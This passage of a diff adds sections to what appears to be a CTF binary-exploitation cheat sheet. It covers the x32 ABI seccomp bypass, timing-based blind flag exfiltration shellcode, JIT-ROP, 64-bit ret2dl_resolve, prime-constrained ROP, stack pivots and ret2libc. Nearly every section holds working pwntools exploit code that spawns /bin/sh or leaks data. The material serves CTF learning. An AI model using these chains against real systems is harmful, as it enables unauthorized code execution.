**Pattern:** Linux x32 ABI (32-bit pointers on 64-bit kernel) uses syscall numbers with bit 30 set (`0x40000000`). Most seccomp BPF filters only check the low 32 bits against known syscall numbers, missing the x32 variants.
|
|
349
|
+
|
|
350
|
+
```c
|
|
351
|
+
// Standard execve blocked by seccomp: syscall 59
|
|
352
|
+
// x32 ABI variant: syscall 0x40000000 | 59 = 0x4000003B
|
|
353
|
+
// Often passes through BPF filters that check for exact match on 59
|
|
354
|
+
syscall(0x4000003B, "/bin/sh", NULL, NULL);
|
|
355
|
+
```
|
|
356
|
+
|
|
357
|
+
```python
|
|
358
|
+
from pwn import *
|
|
359
|
+
|
|
360
|
+
# ROP chain using x32 ABI syscall number to bypass seccomp
|
|
361
|
+
pop_rax = libc_base + rax_gadget
|
|
362
|
+
pop_rdi = libc_base + rdi_gadget
|
|
363
|
+
pop_rsi = libc_base + rsi_gadget
|
|
364
|
+
pop_rdx = libc_base + rdx_gadget
|
|
365
|
+
syscall_ret = libc_base + syscall_gadget
|
|
366
|
+
|
|
367
|
+
rop = flat(
|
|
368
|
+
pop_rax, 0x4000003B, # x32 execve (bypasses seccomp)
|
|
369
|
+
pop_rdi, binsh_addr, # "/bin/sh"
|
|
370
|
+
pop_rsi, 0, # argv = NULL
|
|
371
|
+
pop_rdx, 0, # envp = NULL
|
|
372
|
+
syscall_ret, # trigger x32 execve
|
|
373
|
+
)
|
|
374
|
+
```
|
|
375
|
+
|
|
376
|
+
**Key insight:** The x32 ABI ORs `0x40000000` into syscall numbers. Seccomp filters checking for `SCMP_ACT_KILL` on `__NR_execve` (59) miss `__NR_execve | __X32_SYSCALL_BIT` (0x4000003B), which the kernel still dispatches to the same handler. This works on kernels compiled with `CONFIG_X86_X32=y` (common on older distributions).
|
|
377
|
+
|
|
378
|
+
**When to recognize:** Seccomp filter blocks specific syscall numbers via exact match or range check. Dump the BPF with `seccomp-tools dump ./binary` and check whether it validates the `AUDIT_ARCH` or masks off the x32 bit before comparing. If neither, x32 aliasing bypasses the filter.
|
|
379
|
+
|
|
380
|
+
**Mitigation check:** Modern seccomp policies use `SECCOMP_RET_KILL_PROCESS` and verify `AUDIT_ARCH_X86_64` explicitly, blocking this technique.
|
|
381
|
+
|
|
382
|
+
**References:** BCTF 2017
|
|
383
|
+
|
|
384
|
+
---
|
|
385
|
+
|
|
386
|
+
## Time-Based Blind Shellcode When write() Blocked (DEF CON 2017)
|
|
387
|
+
|
|
388
|
+
**Pattern:** When seccomp blocks all output syscalls (`write`, `sendto`, `writev`), use a timing side-channel to exfiltrate flag data character-by-character: compare each byte against a guess, loop on match.
|
|
389
|
+
|
|
390
|
+
```nasm
|
|
391
|
+
; Read flag into buffer, then compare character N
|
|
392
|
+
; Assumes flag has been read into rsi via allowed read() syscall
|
|
393
|
+
mov al, [rsi + N] ; flag byte N
|
|
394
|
+
cmp al, 0x41 ; compare with guess 'A'
|
|
395
|
+
jne done ; skip if no match
|
|
396
|
+
; Timing loop: burns ~4 seconds on match
|
|
397
|
+
xor ecx, ecx
|
|
398
|
+
.loop: inc ecx
|
|
399
|
+
cmp ecx, 0xffffffff
|
|
400
|
+
jne .loop
|
|
401
|
+
done: xor edi, edi
|
|
402
|
+
mov eax, 60 ; exit
|
|
403
|
+
syscall
|
|
404
|
+
```
|
|
405
|
+
|
|
406
|
+
```python
|
|
407
|
+
from pwn import *
|
|
408
|
+
import time
|
|
409
|
+
|
|
410
|
+
FLAG_LEN = 40
|
|
411
|
+
CHARSET = string.printable
|
|
412
|
+
|
|
413
|
+
def guess_byte(offset, guess_char):
|
|
414
|
+
"""Send shellcode that delays if flag[offset] == guess_char"""
|
|
415
|
+
sc = shellcraft.amd64.linux.open("flag.txt", 0)
|
|
416
|
+
sc += shellcraft.amd64.linux.read("rax", "rsp", 100)
|
|
417
|
+
sc += f"""
|
|
418
|
+
mov al, byte ptr [rsp + {offset}]
|
|
419
|
+
cmp al, {ord(guess_char)}
|
|
420
|
+
jne done
|
|
421
|
+
xor ecx, ecx
|
|
422
|
+
loop:
|
|
423
|
+
inc ecx
|
|
424
|
+
cmp ecx, 0xffffffff
|
|
425
|
+
jne loop
|
|
426
|
+
done:
|
|
427
|
+
xor edi, edi
|
|
428
|
+
mov eax, 60
|
|
429
|
+
syscall
|
|
430
|
+
"""
|
|
431
|
+
r = remote(host, port)
|
|
432
|
+
r.send(asm(sc))
|
|
433
|
+
start = time.time()
|
|
434
|
+
try:
|
|
435
|
+
r.recvall(timeout=6)
|
|
436
|
+
except:
|
|
437
|
+
pass
|
|
438
|
+
elapsed = time.time() - start
|
|
439
|
+
r.close()
|
|
440
|
+
return elapsed > 3.0 # Match if response took > 3 seconds
|
|
441
|
+
|
|
442
|
+
flag = ""
|
|
443
|
+
for i in range(FLAG_LEN):
|
|
444
|
+
for c in CHARSET:
|
|
445
|
+
if guess_byte(i, c):
|
|
446
|
+
flag += c
|
|
447
|
+
print(f"Flag so far: {flag}")
|
|
448
|
+
break
|
|
449
|
+
```
|
|
450
|
+
|
|
451
|
+
**Key insight:** When seccomp blocks all output syscalls (`write`, `sendto`, `writev`), a flag byte can still be exfiltrated by comparing it against a guessed value and burning CPU time on match. The response time difference (instant vs ~4 seconds) reveals whether the guess was correct. Requires up to 256 * flag_length connections worst case, but printable ASCII reduces this to ~95 * flag_length.
|
|
452
|
+
|
|
453
|
+
**When to recognize:** Seccomp allows `open`/`read` but blocks all write-family syscalls. Also applicable when the binary has no output path at all (e.g., embedded systems, bare-metal challenges).
|
|
454
|
+
|
|
455
|
+
**References:** DEF CON 2017
|
|
456
|
+
|
|
457
|
+
---
|
|
458
|
+
|
|
459
|
+
## JIT-ROP: Scan for syscall Byte in Leaked libc Function (Codegate 2018)
|
|
460
|
+
|
|
461
|
+
**Pattern:** Instead of identifying the remote libc version to find gadgets, leak a GOT entry (e.g., `read@GOT`), then read the machine code of that function to find a `syscall` instruction within it. Use the `read()` return value to control `rax` for the syscall number.
|
|
462
|
+
|
|
463
|
+
**Exploitation:**
|
|
464
|
+
```python
|
|
465
|
+
from pwn import *
|
|
466
|
+
|
|
467
|
+
# Step 1: Leak read@GOT address via format string / arbitrary read
|
|
468
|
+
read_addr = leak_got(elf.got['read'])
|
|
469
|
+
log.info(f"read() @ {hex(read_addr)}")
|
|
470
|
+
|
|
471
|
+
# Step 2: Read bytes within read() function body
|
|
472
|
+
# Use an arbitrary read primitive (e.g., format string %s, or read() itself)
|
|
473
|
+
read_bytes = read_memory(read_addr, 0x100)
|
|
474
|
+
|
|
475
|
+
# Step 3: Find syscall opcode (0x0f 0x05) within read()
|
|
476
|
+
syscall_offset = read_bytes.index(b'\x0f\x05')
|
|
477
|
+
syscall_addr = read_addr + syscall_offset
|
|
478
|
+
log.info(f"syscall @ {hex(syscall_addr)}")
|
|
479
|
+
|
|
480
|
+
# Step 4: Overwrite an unused GOT entry (e.g., srand) with syscall address
|
|
481
|
+
write_got(elf.got['srand'], syscall_addr)
|
|
482
|
+
|
|
483
|
+
# Step 5: Build ROP chain for execve via syscall
|
|
484
|
+
# Trick: read() return value sets rax, so read exactly 59 bytes for __NR_execve
|
|
485
|
+
pop_rdi = rop_gadget # pop rdi; ret
|
|
486
|
+
pop_rsi = rop_gadget # pop rsi; ret
|
|
487
|
+
pop_rdx = rop_gadget # pop rdx; ret
|
|
488
|
+
|
|
489
|
+
payload = flat(
|
|
490
|
+
pop_rdi, 0, # fd = stdin
|
|
491
|
+
pop_rsi, bss_addr, # buf = writable BSS
|
|
492
|
+
pop_rdx, 59, # count = 59 = __NR_execve
|
|
493
|
+
elf.plt['read'], # read(0, bss, 59) → rax = 59
|
|
494
|
+
pop_rdi, binsh_addr, # rdi = "/bin/sh"
|
|
495
|
+
pop_rsi, 0, # rsi = NULL
|
|
496
|
+
pop_rdx, 0, # rdx = NULL
|
|
497
|
+
elf.plt['srand'], # calls syscall (GOT overwritten)
|
|
498
|
+
# rax=59, rdi="/bin/sh", rsi=0, rdx=0 → execve("/bin/sh", NULL, NULL)
|
|
499
|
+
)
|
|
500
|
+
io.sendline(payload)
|
|
501
|
+
|
|
502
|
+
# Send exactly 59 bytes so read() returns 59 (sets rax = __NR_execve)
|
|
503
|
+
io.send(b'A' * 59)
|
|
504
|
+
```
|
|
505
|
+
|
|
506
|
+
**Why read() always contains syscall:**
|
|
507
|
+
```text
|
|
508
|
+
read() in libc is a thin wrapper around the syscall instruction:
|
|
509
|
+
mov eax, 0 ; SYS_read
|
|
510
|
+
syscall ; <-- this is what we're scanning for
|
|
511
|
+
cmp rax, -4096
|
|
512
|
+
...
|
|
513
|
+
The bytes 0x0f 0x05 (syscall) are guaranteed to exist within read()
|
|
514
|
+
```
|
|
515
|
+
|
|
516
|
+
**Key insight:** Every libc function's code section contains useful gadgets. `read()` always contains a `syscall` instruction internally. By leaking a GOT entry and reading the function's machine code, you find `syscall` without knowing the libc version. The `read()` syscall return value conveniently sets `rax` to the number of bytes read — send exactly 59 bytes (`__NR_execve`) to set up the syscall number. This eliminates the need for a `pop rax; ret` gadget.
|
|
517
|
+
|
|
518
|
+
**When to recognize:** Partial RELRO (GOT writable), no libc version available, but you can leak GOT entries and read arbitrary memory. Any function that performs a syscall internally (`read`, `write`, `open`, `mmap`) contains the `0f 05` bytes. `read()` is preferred because its return value naturally controls `rax`.
|
|
519
|
+
|
|
520
|
+
**References:** Codegate 2018
|
|
521
|
+
|
|
522
|
+
---
|
|
523
|
+
|
|
524
|
+
## ret2dl_resolve 64-bit (Codegate 2018)
|
|
525
|
+
|
|
526
|
+
**Pattern:** Forge fake `Elf64_Rela`, `Elf64_Sym`, and dynstr entries in writable memory (BSS) to trick the dynamic linker into resolving an arbitrary libc function (e.g., `system`) without knowing the libc base address. The 64-bit variant requires bypassing VERSYM checks by NULLing the version table pointer in the link_map.
|
|
527
|
+
|
|
528
|
+
**How dynamic resolution works:**
|
|
529
|
+
```text
|
|
530
|
+
PLT stub → _dl_runtime_resolve(link_map, reloc_index)
|
|
531
|
+
1. Look up Elf64_Rela at .rela.plt[reloc_index]
|
|
532
|
+
2. Extract symbol index from r_info
|
|
533
|
+
3. Look up Elf64_Sym at .dynsym[sym_index]
|
|
534
|
+
4. Read symbol name from .dynstr + st_name offset
|
|
535
|
+
5. Search loaded libraries for that symbol name
|
|
536
|
+
6. [64-bit only] Check version via .gnu.version[sym_index] ← must bypass
|
|
537
|
+
7. Write resolved address to GOT, jump to it
|
|
538
|
+
```
|
|
539
|
+
|
|
540
|
+
**Forging the structures:**
|
|
541
|
+
```python
|
|
542
|
+
from pwn import *
|
|
543
|
+
|
|
544
|
+
# Target: resolve system() by forging resolution structures in BSS
|
|
545
|
+
BSS = 0x601000 # writable memory
|
|
546
|
+
STRTAB = elf.dynamic_value_by_tag('DT_STRTAB')
|
|
547
|
+
SYMTAB = elf.dynamic_value_by_tag('DT_SYMTAB')
|
|
548
|
+
JMPREL = elf.dynamic_value_by_tag('DT_JMPREL')
|
|
549
|
+
|
|
550
|
+
# Calculate offsets so forged structures are self-consistent
|
|
551
|
+
fake_rela_addr = BSS + 0x100
|
|
552
|
+
fake_sym_addr = BSS + 0x200
|
|
553
|
+
fake_str_addr = BSS + 0x300
|
|
554
|
+
|
|
555
|
+
# Forged Elf64_Sym (24 bytes)
|
|
556
|
+
# st_name: offset into dynstr where "system\x00" lives
|
|
557
|
+
# st_info: STT_FUNC | STB_GLOBAL
|
|
558
|
+
# st_other, st_shndx: 0
|
|
559
|
+
# st_value, st_size: 0 (unresolved)
|
|
560
|
+
sym_index = (fake_sym_addr - SYMTAB) // 24 # index into symtab
|
|
561
|
+
fake_sym = flat(
|
|
562
|
+
p32(fake_str_addr - STRTAB), # st_name (offset to "system" in dynstr)
|
|
563
|
+
p8(0x12), # st_info = STT_FUNC | STB_GLOBAL<<4
|
|
564
|
+
p8(0), # st_other
|
|
565
|
+
p16(0), # st_shndx = SHN_UNDEF
|
|
566
|
+
p64(0), # st_value
|
|
567
|
+
p64(0), # st_size
|
|
568
|
+
)
|
|
569
|
+
|
|
570
|
+
# Forged Elf64_Rela (24 bytes)
|
|
571
|
+
# r_offset: GOT slot to write resolved address
|
|
572
|
+
# r_info: (sym_index << 32) | R_X86_64_JUMP_SLOT
|
|
573
|
+
# r_addend: 0
|
|
574
|
+
reloc_index = (fake_rela_addr - JMPREL) // 24
|
|
575
|
+
fake_rela = flat(
|
|
576
|
+
p64(BSS + 0x400), # r_offset (writable GOT slot)
|
|
577
|
+
p64((sym_index << 32) | 7), # r_info: sym_idx | R_X86_64_JUMP_SLOT
|
|
578
|
+
p64(0), # r_addend
|
|
579
|
+
)
|
|
580
|
+
|
|
581
|
+
# Forged dynstr entry
|
|
582
|
+
fake_str = b"system\x00"
|
|
583
|
+
|
|
584
|
+
# Write all structures to BSS via ROP chain
|
|
585
|
+
# ...
|
|
586
|
+
|
|
587
|
+
# CRITICAL: Bypass VERSYM check for 64-bit
|
|
588
|
+
# Overwrite link_map->l_info[DT_VERSYM] with NULL
|
|
589
|
+
# This skips version validation entirely
|
|
590
|
+
# link_map address can be read from GOT[1]
|
|
591
|
+
link_map_addr = read_got(1) # GOT[1] = link_map pointer
|
|
592
|
+
# l_info[DT_VERSYM] is at link_map + 0x1c8 (glibc-dependent)
|
|
593
|
+
versym_ptr = link_map_addr + 0x1c8
|
|
594
|
+
write_memory(versym_ptr, p64(0)) # NULL → skip version check
|
|
595
|
+
|
|
596
|
+
# Trigger resolution: call PLT stub with forged reloc_index
|
|
597
|
+
# _dl_runtime_resolve follows our forged chain:
|
|
598
|
+
# fake Rela → fake Sym → fake dynstr "system"
|
|
599
|
+
# → resolves system() → writes to fake GOT slot → jumps to system()
|
|
600
|
+
```
|
|
601
|
+
|
|
602
|
+
**ROP chain to trigger:**
|
|
603
|
+
```python
|
|
604
|
+
# After writing fake structures to BSS:
|
|
605
|
+
# Push reloc_index and jump to PLT[0] (the universal resolver stub)
|
|
606
|
+
plt_stub = elf.get_section_by_name('.plt').header.sh_addr
|
|
607
|
+
|
|
608
|
+
payload = flat(
|
|
609
|
+
pop_rdi, binsh_addr, # rdi = "/bin/sh" for system()
|
|
610
|
+
plt_stub, # push link_map; jmp _dl_runtime_resolve
|
|
611
|
+
p64(reloc_index), # relocation index into forged .rela.plt
|
|
612
|
+
)
|
|
613
|
+
```
|
|
614
|
+
|
|
615
|
+
**Key insight:** 64-bit ret2dl_resolve is harder than 32-bit because of VERSYM checks. Overwrite `link_map->l_info[DT_VERSYM]` with NULL to skip version validation entirely. Then the standard approach works: forge Rela -> Sym -> dynstr chain in writable memory, trigger resolution via PLT stub with crafted reloc index. This resolves arbitrary libc functions without knowing the libc base — the dynamic linker does the work for you.
|
|
616
|
+
|
|
617
|
+
**When to recognize:** No libc leak available, Partial RELRO (PLT/GOT writable), binary has enough ROP gadgets to write to BSS and control function arguments. Works on any glibc version (the VERSYM bypass via NULL is universal). Prefer this over blind libc identification when the remote libc version is completely unknown.
|
|
618
|
+
|
|
619
|
+
**References:** Codegate 2018
|
|
620
|
+
|
|
621
|
+
---
|
|
622
|
+
|
|
623
|
+
## Prime-Only ROP via Goldbach Decomposition (PlaidCTF 2018)
|
|
624
|
+
|
|
625
|
+
**Pattern:** Challenge constrains every stack word written by the attacker to be a prime number (`miller_rabin(val)` must return true on each slot). Direct gadget addresses are almost never prime, so the ROP chain looks impossible to build.
|
|
626
|
+
|
|
627
|
+
**Exploit:** Goldbach's conjecture guarantees every even integer > 2 is the sum of two primes. Represent each target gadget address `g` as `g = p1 + p2` where `p1, p2` are primes, and write them into adjacent stack slots. A small "prime adder" gadget (`pop rax; pop rdx; add rax, rdx; push rax; ret` or a read-modify-write into the stack) consolidates the two halves into the real gadget pointer right before the `ret` that consumes it.
|
|
628
|
+
|
|
629
|
+
```python
|
|
630
|
+
from sympy import isprime, nextprime
|
|
631
|
+
|
|
632
|
+
def prime_split(addr):
|
|
633
|
+
# Returns (p1, p2) with p1 + p2 == addr and both prime
|
|
634
|
+
if addr % 2: # odd: (2, addr-2) if addr-2 prime, else search
|
|
635
|
+
if isprime(addr - 2): return (2, addr - 2)
|
|
636
|
+
p1 = 3
|
|
637
|
+
while not (isprime(p1) and isprime(addr - p1)):
|
|
638
|
+
p1 = nextprime(p1)
|
|
639
|
+
return (p1, addr - p1)
|
|
640
|
+
```
|
|
641
|
+
|
|
642
|
+
Chain multiple `(p1, p2, adder)` triples to synthesize arbitrary gadget addresses while every raw stack word still passes the primality filter.
|
|
643
|
+
|
|
644
|
+
**Key insight:** Number-theoretic constraints on stack contents can always be defeated by writing a value as the sum/XOR/product of admissible parts and adding a tiny reducer gadget that recombines them at runtime. Goldbach gives a constructive two-term decomposition for addresses; Lagrange's four-square theorem works similarly for constraints that require perfect squares.
|
|
645
|
+
|
|
646
|
+
**References:** PlaidCTF 2018 — writeup 10017
|
|
647
|
+
|
|
648
|
+
---
|
|
649
|
+
|
|
650
|
+
## Imperfect-Gadget Stack Pivot (RITSEC 2018)
|
|
651
|
+
|
|
652
|
+
**Pattern:** Classic stack pivots use `leave; ret` or `xchg esp, eax; ret`, but sometimes the only usable gadget has benign middle instructions. A gadget like `pop ebp; add al, 0x89; pop esp; and al, 0x30; add esp, 0x24; ret` still pivots `esp` — the `add al`/`and al` side effects do not corrupt `esp` and the trailing `add esp, 0x24` just skips 9 slots you pre-pad with junk.
|
|
653
|
+
|
|
654
|
+
```asm
|
|
655
|
+
0x80c0620: pop ebp ; add al, 0x89 ; pop esp ; and al, 0x30 ; add esp, 0x24 ; ret
|
|
656
|
+
```
|
|
657
|
+
|
|
658
|
+
Place a controlled heap address at the correct slot so `pop esp` lands you on a fake stack, then budget nine dummy dwords before the real chain to absorb `add esp, 0x24`.
|
|
659
|
+
|
|
660
|
+
**Key insight:** Stop rejecting gadgets because they are noisy. Walk each gadget line-by-line; if none of the instructions clobber `esp`, the gadget still pivots even with spurious arithmetic.
|
|
661
|
+
|
|
662
|
+
**References:** RITSEC CTF 2018 — Yet Another HR Management Framework, writeup 12287
|
|
663
|
+
|
|
664
|
+
---
|
|
665
|
+
|
|
666
|
+
## _fini_array Double-Entry Staged ROP (Insomnihack 2019)
|
|
667
|
+
|
|
668
|
+
**Pattern:** Statically-linked binary has no PLT/GOT to hijack. However, `_fini_array` stores pointers called on `exit()`. Overwrite both entries so the first invocation runs `do_overwrite` (a gadget that lets you stage more bytes) and the second runs it again, letting you append ROP piece-by-piece across successive exits.
|
|
669
|
+
|
|
670
|
+
```text
|
|
671
|
+
_fini_array[0] = do_overwrite # stage 1: write next segment
|
|
672
|
+
_fini_array[1] = do_overwrite # stage 2: write final segment + trigger
|
|
673
|
+
```
|
|
674
|
+
|
|
675
|
+
Use `add rsp, N; ret` pivots to walk below the current `rsp` so each stage concatenates onto the previous ROP frame.
|
|
676
|
+
|
|
677
|
+
**Key insight:** `_fini_array` is effectively a re-entrant callback table in static binaries. Two entries plus any "write N bytes to addr" primitive gives you unlimited ROP depth without restarting the process.
|
|
678
|
+
|
|
679
|
+
**References:** Insomnihack teaser 2019 — onewrite, writeup 12912
|
|
680
|
+
|
|
681
|
+
---
|
|
682
|
+
|
|
683
|
+
## ret2libc via Statically-Linked libc + Embedded /bin/sh String (TAMUctf 2019)
|
|
684
|
+
|
|
685
|
+
**Pattern (pwn5):** Argument is copied into a fixed-size buffer with a 3-character *display* limit — but the underlying `gets()` still reads the full line, yielding a stack overflow 17 bytes past the buffer. The overflow slot is too small for a multi-gadget ROP chain, and no obvious `/bin/sh` appears at predictable addresses. Because the binary is **statically linked**, `system`, `exit`, and an embedded `"/bin/sh"` string from the libc blob all live at fixed addresses — one ret2libc call fits in the overflow slot.
|
|
686
|
+
|
|
687
|
+
```python
|
|
688
|
+
from pwn import *
|
|
689
|
+
|
|
690
|
+
# Addresses resolved from the static binary itself:
|
|
691
|
+
# (gdb) info address system -> 0x0804ee30
|
|
692
|
+
# (gdb) info address exit -> 0x0804e330
|
|
693
|
+
# 0x080bc140: "/bin/sh" (pulled from rodata / libc blob)
|
|
694
|
+
|
|
695
|
+
system = 0x0804ee30
|
|
696
|
+
exit_a = 0x0804e330
|
|
697
|
+
binsh = 0x080bc140
|
|
698
|
+
|
|
699
|
+
# Overflow reaches saved EIP at cyclic offset 17 (cyclic -l on the crash)
|
|
700
|
+
payload = cyclic(17)
|
|
701
|
+
payload += p32(system) # ret -> system
|
|
702
|
+
payload += p32(exit_a) # system's return addr -> exit (avoid SIGSEGV post-shell)
|
|
703
|
+
payload += p32(binsh) # system's first arg
|
|
704
|
+
|
|
705
|
+
# Keep the process alive after the shell spawns by piping stdin:
|
|
706
|
+
# (python -c "..."; cat) | nc pwn.tamuctf.com 4325
|
|
707
|
+
io = remote('pwn.tamuctf.com', 4325)
|
|
708
|
+
io.sendline(payload)
|
|
709
|
+
io.interactive()
|
|
710
|
+
```
|
|
711
|
+
|
|
712
|
+
**Key insight:** Static linking turns every libc symbol into a fixed-offset target inside the binary and drags the entire libc string table (including `"/bin/sh"`) along for free — no leak, no ROPgadget hunting for `/bin/sh`, no dynamic linker games. Whenever `checksec` shows "No PIE" AND `file` reports "statically linked", a 12-byte payload (`system; exit; &/bin/sh`) is usually enough, even in overflow windows too small for a 2-gadget chain. Confirm by `strings -a binary | grep -n /bin/sh` and `nm binary | grep ' T system'`.
|
|
713
|
+
|
|
714
|
+
**References:** TAMUctf 2019 — pwn5, writeup 13428
|
|
715
|
+
|
|
716
|
+
---
|
|
717
|
+
|
|
718
|
+
## Useful Commands
|
|
719
|
+
|
|
720
|
+
```bash
|
|
721
|
+
one_gadget libc.so.6 # Find one-shot gadgets
|
|
722
|
+
ropper -f binary # Find ROP gadgets
|
|
723
|
+
ROPgadget --binary binary # Alternative gadget finder
|
|
724
|
+
seccomp-tools dump ./binary # Check seccomp rules
|
|
725
|
+
```
|